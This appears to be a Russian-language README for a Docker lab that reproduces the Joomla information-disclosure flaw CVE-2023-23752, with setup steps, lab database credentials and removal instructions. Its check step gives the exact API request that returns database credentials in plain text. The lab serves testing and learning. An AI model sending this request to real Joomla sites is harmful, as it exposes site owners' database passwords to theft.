CVE-2023-23752

Уязвимость несанкционированного доступа Joomla (CVE-2023-23752) в Docker

Установка

---

Рекомендуемая (автоматическая)

1. Клонируйте репозиторий git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git
2. Перейдите в каталог cd CVE-2023-23752-Docker
3. Выполните ./setup.sh
4. Откройте браузер и перейдите по адресу http://localhost:8080/

Вручную

1. Клонируйте репозиторий git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git
2. Перейдите в каталог cd CVE-2023-23752-Docker
3. Выполните docker-compose up -d
4. Откройте браузер и перейдите по адресу http://localhost:8080/
5. Введите все данные.
6. При настройке базы данных:
   • Введите joomladb:mysql в качестве имени хоста.
   • Введите root в качестве имени пользователя.
   • Введите example в качестве пароля.
   • Введите joomla_db в качестве имени базы данных.

Проверка CVE-2023-23752

---

1. После установки откройте браузер и перейдите по адресу http://localhost:8080/api/index.php/v1/config/application?public=true
2. В ответе вы увидите имя пользователя и пароль базы данных в открытом виде.

Удаление

---

1. Выполните ./remove-joomla.sh